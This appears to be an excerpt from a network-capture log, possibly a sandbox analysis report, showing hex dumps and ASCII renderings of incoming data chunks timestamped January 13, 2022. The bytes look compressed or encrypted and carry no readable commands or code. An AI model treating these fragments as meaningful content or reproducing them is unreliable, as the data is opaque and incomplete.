95 e6 21 89 61 83 9e 36 da 78 87 46 c2 f9 c1 b1 01 25 7a e8 c7 56 59 aa c2 d1 1e 63 18 d5 45 96 ae 93 ec 0d ba 0a b2 fc 
f6 b2 8d 5a 5c 27 9d 42 24 ef fe d9 d6 b8 96 aa ed 4f e6 a8 91 76 d4 6e 01 cb 0b 08 39 87 29 96 60 e6 b3 7a 91 9a 01 b8 
14 7f 08 38 37 89 c8 39 c5 68 79 1e 9d e7 07 0d 10 e6 35 16 c9 ec 8f 96 4f 47 b3 d1 0a bd 4a 08 29 c6 a4 d6 a3 18 c5 17 
75 e0 b3 c6 48 c7 23 36 f7 e0 e9 6a fd e0 41 3b 73 38 7e 5d 3f 84 dd 0b 5b 05 d6 14 3a b7 89 71 a9 20 36 c3 27 85 d7 c6 
b0 54 d3 00 68 71 58 29 e8 b7 26 63 27 5d 38 7e 70 10 
Data Ascii: 4E}\h-lB?bcS,lCQ'1!a$iTyR!a6xF%zVYcEZ\'B$Ovn9)`z879hy5OGJ)uH#6jA;s8~]?[:q 6'ThqX)&c']8~p

2022-01-13 21:05:25 UTC 1125 IN Data Raw: 0a 6c cd 46 51 a8 92 84 a5 b4 4e a3 ed b7 05 fa 63 34 65 2c 24 a1 a1 f8 8e cc d9 21 d9 9c e6 3e 83 15 36 40 
d5 dc b4 f2 76 08 b8 af ad 92 f1 de a2 09 19 0c 79 b6 4c d8 29 82 9f 58 1e 32 68 40 6c b7 91 91 92 cd d8 22 be 82 2c 50 
49 fc b4 b8 c5 16 62 58 21 cc 12 53 59 0b ad 9e d9 2f 2a ba e9 a7 07 8a 23 83 9a 23 e4 0f 4d 3a 27 62 0a a5 16 cb 57 43 
66 95 76 5c 0c 6a b3 9a bf 40 c1 eb e3 08 c3 5f 09 8c 05 63 a5 78 be 21 e2 41 1a ea 99 92 64 48 f6 dc 13 cf 54 9c bc 58 
a6 00 6d ba 4f 94 17 60 c0 ec 78 40 f3 23 55 a6 92 30 3d ce 28 21 bf 72 2e 6f 54 69 37 5d 25 9f cd b7 96 96 d4 2a b9 70 
51 54 fb 33 5f 80 02 c3 31 e8 b1 73 04 83 9c 86 54 58 6f 3d a5 fb 08 b4 a0 27 26 61 9f d7 d2 34 3c 01 c6 a6 33 f4 93 20 
0a 8b 92 54 58 e0 6a 5b 54 f1 2d b7 34 d0 a8 38 37 ca 1e 
Data Ascii: lFQNc4e,$!>6@vyL)X2h@l",PIbX!SY/*##M:'bWCfv\j@_cx!AdHTXmO`x@#U0=(!r.oTi7]%*pQT3_1sTXo='&a4<3 
TXj[T-487

2022-01-13 21:05:25 UTC 1126 IN Data Raw: e9 7c bd cc ca 7d c4 d5 31 56 5d 55 40 d3 b6 17 78 f1 1a 47 e9 73 1c 7e bc 1b a2 ba 5f 8e 96 24 00 0c ee 1c 
6c 5d 8e 9d a8 d9 45 d9 93 00 4f c0 96 43 0b 2e d0 d8 74 51 8e 35 9f e4 bb dd 5c 6d 5e c7 71 7c 33 21 90 eb 5a fa b8 6f 
4a 53 33 43 26 1c db a6 7f 96 2d 01 8c c1 28 32 82 1b a7 01 71 d2 28 e2 bc e7 dc c3 a8 5f a9 79 bf cf 69 3a 49 59 bf 34 
da ec 95 31 35 39 67 61 7c e5 6b ac 81 8a b4 a9 5a d3 62 ad 14 29 57 1d 63 95 af db 28 74 b0 94 58 dd a6 da 8f ae e4 60 
3a b7 9f e0 3f 3f 29 88 97 5f be e4 24 29 61 ae 03 14 29 a7 b0 98 59 9c 9d f1 2b 89 59 31 ba e2 54 16 18 cd d6 00 1d a4 
2c 97 9c 72 91 01 15 9c 72 ca 52 65 9a 4c 46 4b 95 7e d4 3e fd 6e eb 33 1c ed 9f fe d5 c2 c6 a9 bd 36 b6 d2 c2 aa 5b 58 
5b 8b 2a 68 55 69 64 25 da 77 03 b2 44 dd b8 9b f4 f0 aa 
Data Ascii: |}1V]U@xGs~_$l]EOC.tQ5\m^q|3!ZoJS3C&-(2q(_yi:IY4159ga|kZb)Wc(tX`:??)_$)a)Y+Y1T,rrReLFK~>
n36[X[*hUid%wD

2022-01-13 21:05:25 UTC 1127 IN Data Raw: 41 69 d2 14 d0 0e 7a 5f 24 50 cb 7d 09 0a a0 f6 bd ed c7 90 95 0e 1e 85 13 18 5c 69 66 2d d6 68 5c 08 e0 3c 
32 b9 a3 42 12 d4 fe 28 ec bb 8f c4 ba 93 f9 52 37 f7 69 b8 ee a0 2b c9 45 38 56 56 9f 2c 5b 45 cb fe 25 00 7d 83 26 61 1f 
03 8c 92 b1 a0 70 78 95 f9 c4 02 36 8e 5e 8b d2 db de 80 2e a9 e0 ec 38 a0 53 a4 d2 22 23 3a 6c 6f 31 be bc 72 fd 36 10 
33 d2 18 91 af 8f 44 ed a9 58 17 cc 0d 7f 8b 4d 79 12 13 bb ea a6 80 cc 2d 89 0f 95 82 3a cd 97 ca d3 a5 09 e4 b4 12 b2 
2d a2 0f 2f f3 fc d6 3d 41 4e 67 e5 17 0a e4 56 e0 d7 8a 0f 92 aa 08 f5 dd 44 4e 08 e4 69 08 08 7b 92 7a a1 dd e6 e8 8f 
30 88 f3 35 86 ff c8 af 15 74 82 ba 46 28 df 3c 54 5e 53 e8 af a5 7b 88 ff c5 8d c9 98 22 93 4f 49 ae 84 62 55 dc 1a 77 5c 
6e 48 7a 3d fc 4f a2 72 b1 30 8e 64 2e 4b d4 bf 2b 
Data Ascii: Aiz_$P}\if-h\<2B(R7i+E8VV,[E%}&apx6^.8S"#:lo1r63DXMy-:-/=ANgVDNi{z05tF(<T^S{"OIbUw\nHz=Or0d.K+

2022-01-13 21:05:25 UTC 1129 IN Data Raw: e4 33 53 2e 4c 68 67 55 43 97 bb 7c eb c3 82 c3 31 7f 9b 84 b7 ac 5a f8 32 fa f8 04 56 ca d0 ff 61 2b 46 03 f4 
e9 76 e4 36 eb 1e fc ed 46 8d cf bd fb de c1 91 58 47 4a da 93 ab 08 d9 9a 17 e2 bc 4a 1d 57 6a 27 5b ba a9 b0 52 c5 ab 
f8 ce dc 6f d1 47 40 9e fb a3 78 1a 89 4f 11 30 94 ac e7 2c 06 7d 7a 26 b3 2d f1 17 da a6 91 e8 45 4c 2b c0 54 22 5f f1 df 
44 7d 84 e9 7f ad be bf ea 8b f7 11 46 22 c2 33 42 fc 15 85 4f 9a c0 c5 ae 27 11 ca 04 f4 33 a9 33 ad 13 f1 01 3d ea e3 f0 
bd c0 8c ca 51 9b 7e 40 e2 9b 3e 47 4a dc db a4 1b ae cd 66 c7 3a 85 4d 7b d6 94 24 24 f2 cb 9f 62 f3 8d cc fd 7e 96 aa 
ac a3 25 fd 8a 8f 19 4e 51 97 e7 6e cf ed f8 6f 47 b3 d5 bf 37 f4 f7 f1 24 9a 5e 67 29 bd b4 7f a4 9f ef 1e 6c 9e e3 f7 e7 94 
f2 9c 12 48 78 ae 7e 7f fc de a3 8a 7b 30 
Data Ascii: 3S.LhgUC|1Z2Va+Fv6FXGJJWj'[RoG@xO0,}z&-EL+T"_D}F"3BO'33=Q~@>GJf:M{$$b~%NQnoG7$^g)lHx~{0

2022-01-13 21:05:25 UTC 1130 IN Data Raw: c9 80 b6 e3 14 4e 7c 6a 8c f6 8c 6c 69 8f 57 c1 1e 8a 7f 70 93 ed c1 91 b2 42 36 0c 18 95 bd 14 76 d4 68 b2 
dc d9 c6 98 9c bf 92 f2 30 e9 d7 a4 40 f5 a0 e2 8f 1c 06 54 d9 e1 47 47 90 1a 8e 4e 57 8f 94 3e 9a f9 ac dc 43 79 7c 56 af 
99 0d 5e d3 fd 0f 7c bb e6 07 4c bb 58 65 d7 18 e3 3e bb 76 b0 27 b7 84 c3 57 89 e0 1b be 27 f8 b6 4c d0 53 20 3d 9a a0 
5a 7a dd 93 b8 1b 35 09 ad f6 f2 93 46 e3 7d 91 a0 1d de ee 1a a4 85 9d a4 67 90 8e c1 d8 57 4b 60 fa 29 fe d3 b6 20 48 
f8 9d e2 83 51 54 31 0d ef 68 36 cc 16 80 23 53 6a e5 79 2c 38 9c 42 c5 ca fb c8 97 85 11 f1 ce 14 c2 74 b3 79 1e a3 d9 
13 dd 1a e1 ae c3 c8 75 28 24 e6 88 92 da 69 28 67 c7 55 59 33 3f 7d a1 11 ab 16 68 6b c7 a7 f3 b9 e2 b1 81 06 15 d2 b8 
68 02 c7 c1 30 15 4a 5a 5d d5 12 82 2e 0c 81 36 14 e6 
Data Ascii: N|jliWpB6vh0@TGGNW>Cy|V^|LXe>v'W'LS =Zz5F}gWK`) HQT1h6#Sjy,8Btyu($i(gUY3?}hkh0JZ].6

2022-01-13 21:05:25 UTC 1131 IN Data Raw: d1 93 02 5e 7b f2 21 01 5d 45 2f cf 6a 42 6f 77 07 59 a2 23 bd 32 ce d2 68 f9 a4 18 69 a9 e2 86 17 6d c3 2a eb 
d8 52 d0 ad e7 53 f4 86 04 14 ff 8e e8 5b 54 74 54 91 e9 02 0a 5f 6b 48 aa aa 91 39 76 00 f5 a5 8a b7 a5 98 60 67 ca d1 
04 87 a8 c2 7b 4b 1e 6b 72 ef f1 1a bd bb 91 4f b3 05 46 bb 95 81 5a d2 0e 10 0f ca 7b 7b 0a d3 39 40 8c 1c 5b 6b 79 d0 
bc 13 7e d7 43 7f 08 1c 8d 20 a2 48 d2 db 32 37 68 d3 67 d6 19 9d 19 6e 2f a4 e7 31 93 4c eb 1f b3 f6 37 91 45 e4 b8 86 
08 98 7e 4f fa aa 13 48 9d 93 06 fd 47 a4 b2 3d ff 7d e2 a6 a2 98 4b 1f 18 98 bb 93 fa 8a e0 a9 19 90 91 a2 a0 29 7b 81 
b3 34 30 5f d7 b3 72 8e 7e 9f 5d 4b 0d d4 15 18 4b 81 5d be 17 9d a4 a6 24 e7 dd 28 fd 58 d4 0f 89 d4 54 bf 43 b3 c1 5f 
b2 4f 56 3c ef 77 da 96 30 b0 32 01 9e ac ce 26 eb 42 
Data Ascii: ^{!]E/jBowY#2him*RS[TtT_kH9v`g{KkrOFZ{{9@[ky~C H27hgn/1L7E~OHG=}K){40_r~]KK]$(XTC_OV<w02&B

2022-01-13 21:05:25 UTC 1132 IN Data Raw: c0 4a f3 26 f8 c2 de 60 2e 6a 89 c1 d8 72 10 69 e1 50 2e 2a 94 18 e7 3b c6 af 63 e4 46 46 ec b9 54 c0 e2 55 
52 04 78 89 8e 46 82 54 23 c6 70 1a bb f4 46 bb c7 b4 ac d5 6d aa ac 8e 94 cc e5 52 86 dd d5 1b b9 b8 05 13 f7 56 35 62 
7c e7 76 00 e5 56 35 22 c8 21 e6 92 b8 c0 cc ea 45 fe 86 0d 64 45 10 ac 04 24 9b 4a 20 a8 16 1d 94 46 ca 78 97 59 a9 
79 41 ce ca 69 d6 82 01 9d 4d 21 ff 74 80 49 a5 07 8c a9 90 04 e8 7a 93 fc 6f 52 fa 6a 2e c8 f5 2b 5a d4 4f af a9 99 8c c0 
b2 12 04 6c b2 1a 62 09 a9 31 56 42 16 c6 a4 c8 4f 00 0e 1d 26 3d b1 de 41 46 21 4e 59 9c 3c b5 cf 17 03 93 c4 ac 8f ca 
41 ca db c7 ca 61 cc 66 13 59 ea ad 92 cb e5 08 5d 3a e2 32 46 e8 c2 1b 65 72 bc da ed 49 07 51 74 2b 53 f4 57 a2 e8 37 
a4 b1 cc 9a 23 be 8d 2e 66 87 d5 1f 75 12 97 dd 30 f3 79 
Data Ascii: J&`.jriP.*;cFFTURxFT#pFmRV5b|vV5"!EdE$J FxYyAiM!tIzoRj.+ZOlb1VBO&=AF!NY<AafY]:2FerIQt+SW
7#.fu0y

2022-01-13 21:05:25 UTC 1134 IN Data Raw: b0 cf 03 96 bb 77 fe d1 bb 0f 1b ae 03 8f f8 e4 75 dc 7f b8 cd fb bc e3 3e c1 62 24 b5 fe 7f b7 04 6b f4 7f ff fd 77 
02 b5 f9 1f b4 b7 e2 3d 2f 41 65 34 80 e8 a8 cf 82 f9 ee d5 d5 51 ef f6 81 d8 1e 89 93 41 78 0b f4 7a bc 7c bb 98 60 2c e8 
83 03 54 b7 fa c1 df 6f 0b 14 2d 91 d0 1a 5f 64 8e d7 b1 eb a8 ec 50 e1 7a 31 29 de 4a 19 c1 4b f7 94 63 8d c5 44 92 eb 
9f 07 ec ab 0b d6 2c 89 cb 95 43 5c 4f d2 02 18 2f da ad 88 95 8c 79 3d 2a f3 00 ca 54 95 94 51 0b 31 80 0f 79 56 97 c6 
9a 11 32 56 1c a6 c7 71 6c 9d a5 3c 22 37 77 4a bd 42 b7 28 ec 36 a7 e2 23 a4 50 34 6c 99 0f 1e 31 05 40 f5 1f a5 94 12 
a1 62 ae 7d 17 a4 94 06 3b a6 7f 33 5f eb df 71 1c ed c8 88 bc 11 51 cc ec 08 e8 07 19 e7 db de c8 d2 ac a3 64 58 cd c6 
1d 2d df 1e 71 ae 82 e3 7b b6 7d f2 67 8a 2e 
Data Ascii: wu>b$kw=/Ae4QAxz|`,To-_dPz1)JKcD,C\O/y=*TQ1yV2Vql<"7wJB(6#P4l1@b};3_qQdX-q{}g.

2022-01-13 21:05:25 UTC 1135 IN Data Raw: ca 4c 82 64 22 0a c7 df 73 76 3a b9 07 87 20 31 8b 8e b7 35 0f f4 ed ae d3 37 06 12 81 4f 5d e5 2e 09 4e 5d f6 
c5 e5 e7 cb d0 e3 49 27 d4 b0 63 fb f1 54 6b 42 4e 1e d8 55 34 8f 9a fa 2f 2f 8b b8 b2 7c 60 0c 69 05 fe 8b d5 40 99 70 28 
2d 99 9d e3 10 31 f1 61 6c 10 a9 69 68 a2 92 91 6e 8d 48 13 1e 94 a2 4d b1 25 96 2f ed 00 19 eb 9d 17 3d 6c 94 84 9c 6c 
2b f5 c7 3b 47 63 70 27 9e 0b 92 7a 38 20 4d 70 cf 59 e3 ba 1c 60 38 c6 aa 0d 6f 00 53 6b 9b 04 d1 0f 1e 46 92 20 a7 1f 
47 dd ab 34 6a f4 7b b7 df 6f 8f 46 0a fd 57 ad b7 f5 6c 84 07 c1 5e b6 4c a2 eb 6c af 7b 75 b5 76 ea 19 e2 13 9b 72 fb 5e 
a4 f5 90 87 8a 64 ca 8f 25 7a 75 75 d8 d2 4c b4 7f 44 f5 63 c8 f7 68 d0 1d 00 0d 39 e0 91 d1 f1 06 af ae a8 5f 1e b1 99 b4 
dd 31 36 1f 51 f7 b7 d6 08 ef 5e ec 34 c9 49 
Data Ascii: Ld"sv: 157O].N]I'cTkBNU4//|`i@p(-1alihnHM%/=ll+;Gcp'z8 MpY`8oSkF G4j{oFWl^Ll{uvr^d%zuuLDch9_16Q^4I

Timestamp
kBytes
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2022-01-13 21:05:25 UTC 1136 IN Data Raw: 31 0f 10 f5 9e 41 08 19 82 98 6a 02 4f 6f 2c f4 62 a0 33 57 c8 31 80 51 e1 0d c1 e2 8c 3c 2f a9 14 d9 04 5c ce 
44 0a 34 87 94 a8 76 bb cd c5 09 3b 99 80 0a 8c 90 ef 7d f6 f5 03 67 6b 01 23 ee 1c da de 9d 43 ab d1 36 73 44 b8 aa 59 
20 b6 73 76 b7 bb 46 bc b4 3f d4 3a d0 24 bb cd 24 0b 19 d6 64 49 6c 92 dc 22 bb 7a b1 fd 96 5e 6c 75 2f ec 2d a0 9d 3c 
8f d1 25 83 33 9a 8d 56 8e 5c d9 45 dc e8 c6 18 10 ac 88 20 45 dc 54 db 14 7d 73 96 a8 7b a1 42 26 97 87 6d 17 b6 36 
1b b2 f6 61 45 53 dc 3b 68 a7 53 66 2c ee 6a 5a 7d a2 a6 4c 48 e8 88 2d d4 d5 a5 ba 34 4c 16 3e 2c 4d b1 05 65 ab 62 40 
6a 5f 1a 11 6b 7f 49 39 21 34 ee 18 3d f6 3c b5 1a e3 af 5d 7d 5b a7 b8 1f 8b 62 16 85 8a 47 19 af bf 1d 77 27 4a 81 10 79 
d0 e5 a7 d9 0a fd 06 4a e2 0d b5 02 e5 e5 70 7e e5 91 
Data Ascii: 1AjOo,b3W1Q</\D4v;}gk#C6sDY svF?:$$dIl"z^lu/-<%3V\E ET}s{B&m6aES;hSf,jZ}LH-4L>,Meb@j_kI9!4=<]}
[bGw'JyJp~

2022-01-13 21:05:25 UTC 1138 IN Data Raw: b0 d0 8b 18 96 db 6c be 22 7f 97 f6 b6 91 23 87 be ed 6a 18 b5 dd 06 a4 f2 d6 ea 4b c0 e0 a5 56 0e 4c 5c 6a 
51 df 76 89 0a 70 f2 eb 2f 82 a9 0c 52 2e 87 a9 82 83 3c 9c b1 db d2 8f 2b 4d a7 c1 60 f4 f9 f0 ee c0 b1 68 5e 24 ba 15 98 
09 68 86 33 5b dc eb 60 3c 40 3a cd 60 91 77 26 3e 86 68 4e 2d 76 9e 03 f5 4a 57 59 7a 1e 4a cd 6f 36 3c 0f fd bb 1b b1 
3c 6b ec ae 0b fa 62 66 84 43 1e d5 94 33 74 52 84 45 fa a4 5b 36 99 b8 d8 e6 ec 71 01 a1 2e 8d d6 6a 7d 13 03 7f 21 bb 
70 6e 51 1e 03 7d d4 8b f8 4b 0d a0 b6 54 8c 60 59 78 be b2 94 31 08 55 b3 5f 94 c4 12 8a 1c 87 f6 b4 5b 73 ea 15 97 c8 
17 56 2f cb ad c4 b8 84 45 d4 4c d0 0c d2 b8 8e ad 79 8a f4 82 e8 b8 13 98 24 bd a8 cc da 95 bc 18 70 8d a0 45 60 50 a7 
70 10 88 f2 1c f2 72 29 1c 87 88 ab d4 de d1 b3 56 91 
Data Ascii: l"#jKVL\jQvp/R.<+M`h^$h3[`<@:`w&>hN-vJWYzJo6<<kbfC3tRE[6q.j}!pnQ}KT`Yx1U_[sV/ELy$pE`Ppr)V

2022-01-13 21:05:25 UTC 1139 IN Data Raw: 40 33 44 e5 59 3d a8 59 57 7f 5b be 29 97 04 b9 2d 07 8f 30 6a 85 bc 2d ca 09 c1 5c 18 ee 91 1b ee 90 96 90 
29 f2 ee 9c f9 ed 52 da a0 db ea 55 4c 72 02 ed 1a 7e e0 d1 07 7c 98 ca 98 2e 86 5f e5 04 7d 89 ab 5b db 1d 08 2e c1 48 
71 5c 30 a3 ec f2 6e 2a 33 15 eb aa af 32 3c e3 68 63 0e 9d ca 5a 94 07 d7 a6 3e 19 b7 10 41 f5 fd 82 12 de 9b 75 10 dd 
a9 89 69 e0 cf 77 c8 e7 79 de 77 48 e9 2d fa a3 eb 90 32 af 29 63 ee b9 66 d5 25 29 3b 4f 78 ad 82 ad 44 ef c1 55 f2 f4 42 
83 f1 a8 dc e2 40 98 6d 96 e5 d6 ca b5 5f b1 7e 6a 56 ec 68 56 7c 6d 7b d5 e2 69 0b 68 69 0a d2 f1 9d 9e 5b 68 0c 4f e9 
82 e6 80 21 9c 2e 7d c9 25 d3 9e 01 82 21 8e 56 cb d1 54 fb 62 59 26 2d b5 9d 22 cc 5d 63 24 25 91 40 55 ef ef 03 77 95 
73 5a 40 b0 96 25 58 c2 e2 3f 4b 23 ab 32 a3 b4 d7 e0 
Data Ascii: @3DY=YW[)-0j-\)RULr~|._}[.Hq\0n*32<hcZ>AuiwywH-2)cf%);OxDUB@m_~jVhV|m{ihi[hO!.}%!VTbY&-"
]c$%@UwsZ@%X?K#2

2022-01-13 21:05:25 UTC 1140 IN Data Raw: 7b 0a 6b 44 71 14 4b df 1e e0 b7 16 7f 2b 7c 6a e7 c5 5e c2 7f fe 32 76 9d 97 b0 d5 86 0e 25 18 ef 32 0f 95 97 
29 0f 50 d4 61 a5 b4 31 e5 05 fc 67 15 e4 fa d3 94 72 3e a1 e8 59 0f e0 dd 78 85 52 67 67 f4 7e 36 07 96 99 be 5b ef 18 
12 72 68 65 10 8d 36 64 b2 d2 6a 6d 4e 9c 4e 19 a6 d1 0c 70 17 57 56 48 81 ea 96 4b 4a ba c8 60 f1 a6 9c a9 90 42 99 
96 b2 e0 64 32 5a aa 0f df 79 e2 14 fe a3 3e 3e 89 3e 39 f4 aa df a8 b3 51 f5 71 d7 7e f0 90 c2 5f 12 c0 2e 46 3a 3d 79 f9 
fa e5 05 de 15 a8 c7 76 6f 2b fe 28 1d fe 51 d8 68 df 57 01 48 dc d6 71 18 75 9c 3a 47 11 75 2f 62 f7 65 b4 1a 76 5b c7 90 
d8 9f cc e7 0b f8 90 64 a3 09 46 0f 3a fa 11 a0 79 e0 d5 65 a6 66 14 2f dd e8 9f 9c e8 6d c5 87 0f fe 6f 29 ba 34 a6 5f e8 f1
33 ff 97 44 3c 93 7f d5 cf b3 ea de b4 1e 72 
Data Ascii: {kDqK+|j^2v%2)Pa1gr>YxRgg~6[rhe6djmNNpWVHKJ`Bd2Zy>>>9Qq~_.F:=yvo+(QhWHqu:Gu/bev[dF:yef/m
o)4_3D<r

2022-01-13 21:05:25 UTC 1141 IN Data Raw: ee 1a 81 78 15 c5 5b d8 66 9a a8 4b 0c ed 3f 3a da 3a a9 7b 8f b5 4d 9c de 3d 4f 6a 2b f9 a8 f1 25 9f 37 9b 33 
15 7e 9c af 4c fb 30 7c 8e d0 94 16 b0 2b a7 27 8f 1d a2 a6 17 d9 fb f5 68 91 f9 5d 99 c9 f9 f3 cf 0e 3d f5 44 1e 8a 10 87 
b7 44 76 93 02 41 1e 58 db 85 bd 68 4c 78 ac 62 c3 0d d8 40 c6 c1 bf 8e 5f c3 73 1b 48 29 9c 50 48 a3 5f c7 df 57 71 4c 
80 40 b1 08 7b a0 f9 72 35 05 54 ed 22 ad 41 a0 dd 29 03 1c 11 7b 7d 4f 49 ed 4c 6a 01 56 2d ab 1c 18 6b 73 58 71 16 05 
c3 d2 aa 42 31 4b 89 02 0f 52 e4 13 a0 77 a7 98 fe 02 f6 15 3a 10 70 1d 5e b1 8e 18 a3 56 1c d2 f6 07 29 0e f2 fc 93 65 
29 69 85 7f a6 9a 18 a5 ed ac 6c cb b1 92 61 ab b9 03 8a bc 36 b4 76 82 d7 34 ce 4f b4 e6 65 c9 64 d6 49 dc 21 1f 22 9e 
7f 46 ca 69 13 18 c3 21 1a 6e 68 aa 2a b3 a8 2a 99 
Data Ascii: x[fK?::{M=Oj+%73~L0|+'h]=DDvAXhLxb@_sH)PH_WqL@{r5T"A){}OILjV-ksXqB1KRw:p^V)e)ila6v4OedI!
"Fi!nh**

2022-01-13 21:05:25 UTC 1143 IN Data Raw: e7 76 26 d7 71 14 b9 d0 e0 14 e5 ce 04 12 1a 58 4e d1 75 33 d9 fc 02 8a 9d 3d 8c a8 3b 33 f6 71 8a 9d 12 c5 
31 c2 58 77 d6 86 30 5a 1b 93 09 da d7 b6 b6 3a 8e 28 b4 3d be ad 3c 11 85 ab e3 59 67 e6 af be ad 4d 84 f2 f6 fa ae 36 
91 79 cd e7 81 e2 45 12 00 9d 62 33 32 bd d4 d6 d7 61 f3 29 4e 37 06 f0 3d 27 ef f6 bf ea 6d 74 78 e8 d0 dc ea 5b 14 5c 5f
62 16 4e 3b 2d a5 34 b2 82 97 76 4b bf 5e e3 ab 7a 79 cf 85 6e a4 0c 29 88 42 75 60 04 b5 2c 54 18 3b 18 84 1a 65 12 38 
eb 50 2f 2e 63 1d 4f d1 09 d8 fb 26 c1 f3 16 53 fa 93 f9 07 cf 48 7c 75 23 d3 3a c6 92 5f bb e5 bd a2 06 6b eb af 83 88 ec 
48 8b 67 d6 d4 ac 82 f1 05 50 6d d5 17 75 25 5c 8d c7 61 fc 30 9c 6d 45 5f 1e 61 68 ec 9d 95 1b 82 13 e9 7f d5 d0 0a 1b 
3a 0e 57 dc 10 9e 50 63 68 68 50 6a 88 ce 99 aa 96 
Data Ascii: v&qXNu3=;3q1Xw0Z:(=<YgM6yEb32a)N7='mtx[\_bN;-4vK^zyn)Bu`,T;e8P/.cO&SH|u#:_kHgPmu%\a0mE_a
h:WPchhPj

2022-01-13 21:05:25 UTC 1144 IN Data Raw: 08 1d 1c ac 26 31 a6 56 68 09 19 b6 62 62 2c 26 88 43 f2 a3 e2 79 df 1a 9d b4 33 de 6c fa ae 51 41 1f 25 50 fd 
20 ed a6 f2 da b4 5e ef e1 01 7b c0 5a c0 8f e7 53 d6 02 06 3a 7b 0f ab 73 44 8d eb 45 03 b4 5b d8 24 33 b4 a9 83 fd 43 
eb 8e 30 38 93 38 e8 e1 07 2d 4a dd 09 5e 65 c9 ed e5 22 8b 40 0a 40 62 8c 6a f9 4d 75 2b 45 ae 06 f9 03 2a 78 4f c2 93 
18 ed 93 b1 7a b4 6d a7 95 ec 4e bc 66 0a 09 16 89 bd 8f 1a f5 11 15 91 8a 45 62 c8 4f 3c 79 3d f1 2b cd da 4a 1e 18 6f 
d0 88 7f c9 7a 3d b3 64 38 5f 5c 24 b8 5d 2d ad 9e 2f 1e 04 a7 8f 4d a2 e6 fb c2 cc 55 ce b3 81 17 fe 8a 9a b3 f9 fc fa ce 
b3 84 c6 78 46 95 6c 36 59 73 b9 48 e0 38 c9 60 b9 03 56 4a 11 31 43 2f b3 66 b4 5e cd 97 04 7f c5 41 9c 89 a9 98 89 95 
e2 e0 60 ed 88 6b f1 5e 58 cc d2 35 0c dc 75 3e 37 
Data Ascii: &1Vhbb,&Cy3lQA%P ^{ZS:{sDE[$3C088-J^e"@@bjMu+E*xOzmNfEbO<y=+Joz=d8_\$]-/MUxFl6YsH8`VJ1C/
f^A`k^X5u>7

2022-01-13 21:05:25 UTC 1145 IN Data Raw: 29 e7 d3 20 5e 57 c4 88 94 5f 52 85 d3 55 f6 32 46 a6 03 cb b0 9e e3 13 ea 36 12 8e 94 f8 85 16 98 06 55 06 
dd 9d 75 76 77 65 da c2 7b 6b f9 32 4a aa 29 2e 13 9b 3e b1 6c 2c e8 ca 10 32 18 98 b7 fc ea d6 2f b9 3d cf 1b 4b f6 45 
e6 48 52 5c a3 5d 8d b6 64 89 4f 6b c5 64 43 c0 31 86 4a 51 b1 77 a8 19 41 76 52 2f bc 29 2f 6a d4 47 78 ea c8 6f 8e ab 
59 30 d0 0a 56 cf b5 94 c4 42 72 49 28 60 e3 00 59 76 44 88 74 4b e6 42 88 11 d3 80 48 5b 78 25 19 14 68 3c dc da 0f dc 
ce c1 6f 9e 2b 8c 80 bb c6 73 71 49 a4 b5 1a d4 c6 e6 12 08 5b 92 50 8e 0b 87 19 69 28 8f c0 7f 10 df ea 59 74 05 11 7e 
8b 14 a2 b4 04 a1 c0 27 5a 4e 19 0b 3a 39 69 b0 ba 18 e6 04 2c b0 c5 52 4e 81 18 f9 05 8c 97 85 7c 59 c6 e5 c4 7a 7f ec 
33 03 d6 64 9b 69 8c c4 92 af fd 17 c4 11 c0 a6 97 66 8c 
Data Ascii: ) ^W_RU2F6Uuvwe{k2J).>l,2/=KEHR\]dOkdC1JQwAvR/)/jGxoY0VBrI(`YvDtKBH[x%h<o+sqI[Pi(Yt~'ZN:
9i,RN|Yz3dif

2022-01-13 21:05:25 UTC 1146 IN Data Raw: f9 f1 4c 7a 9d 8a 60 54 bb 43 f8 6a d2 c9 8e 4a fa a7 2e 14 6e b7 e5 ee b4 c8 57 4b fa 3b ba e9 7c 1d a7 25 2c 
84 e9 d7 a7 59 92 35 aa d0 23 5d 43 28 1c 06 ee c5 c3 f7 9f 2e f9 9f df 71 c8 ac f7 2e 0f c2 28 a5 67 bf a3 ec 3d 9d 0b 6a 
23 b5 5b 17 dd 57 45 34 be ea 1a 1d 1c 61 93 99 a5 2d 37 02 e0 6d b2 cc 6e 4a 20 39 e3 b8 21 4f 44 89 88 18 c5 60 00 
0b ae 71 65 51 5f 35 81 3a 12 05 f3 68 94 cc c3 b1 78 e0 c5 0c 63 f1 20 97 2e 0e 93 5a 66 39 55 9a dc ab ed ed 65 a4 92 
d2 8c c0 3f 23 33 d7 c8 4c 2c 30 46 70 d0 c8 8b 9a 29 d3 a0 a4 73 1e 42 85 3c 36 83 32 49 65 ef b8 4e 25 b0 16 16 5c 91 
d4 ee c7 22 7e e7 d6 44 0a ba c6 48 1c 96 7c 5e 22 73 d8 91 50 f9 89 ab 68 72 f1 07 ba b3 27 17 ff 85 94 0c 93 8b 3f d2 
c1 0c 1f f5 a2 b2 27 53 6b 4d 60 32 b0 bd 3d 51 0e a1 
Data Ascii: Lz`TCjJ.nWK;|%,Y5#]C(.q.(g=j#[WE4a-7mnJ 9!OD`qeQ_5:hxc .Zf9Ue?#3L,0Fp)sB<62IeN%\"~DH|^"s
Phr'?'SkM`2=Q

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:25 UTC 1148 IN Data Raw: 54 6f d0 81 58 78 5b 6b 6a b7 3d e4 62 7b db 80 60 97 29 d2 42 6b 56 47 a0 02 04 02 17 77 df de c1 60 ff 10 
d7 f5 de 9e 92 38 ca 0a 08 49 47 5c 84 e0 c5 bc e1 0f 23 b7 3e 6a b5 f3 a7 17 98 2f 88 86 0d 7f ad b1 06 44 6e 82 d2 be 
5d df 7b 71 70 08 93 48 76 a5 30 54 7c 21 4b 88 25 82 42 32 9c da 97 a7 7f 24 cd a3 85 50 61 84 fd 14 94 84 b2 32 14 9f 
0f 45 9e d7 40 3e fa 75 bb e1 48 e9 71 1b f7 32 11 1b 66 d3 63 a2 76 85 61 25 1b 9b 8c 9a d5 db 23 11 50 4c 17 06 a3 33 
f3 e5 91 37 30 c0 01 bf cd 90 20 34 4b 6b f7 7c 57 9f f6 bb bb 27 43 f6 d6 1e 11 21 8b c3 81 ea 1f 9b 3e e6 16 80 7b da 20 
fe c1 64 66 44 cc f6 5b 8e 94 f3 7c da e6 f1 c5 d2 3c ba 5d 3f 9a fa 08 5c 05 c9 85 8b 98 43 a5 37 74 fb f0 c2 55 14 af 6d 
bb 2d 9d ae 35 75 78 25 92 d2 81 aa 73 23 e1 8c 27 
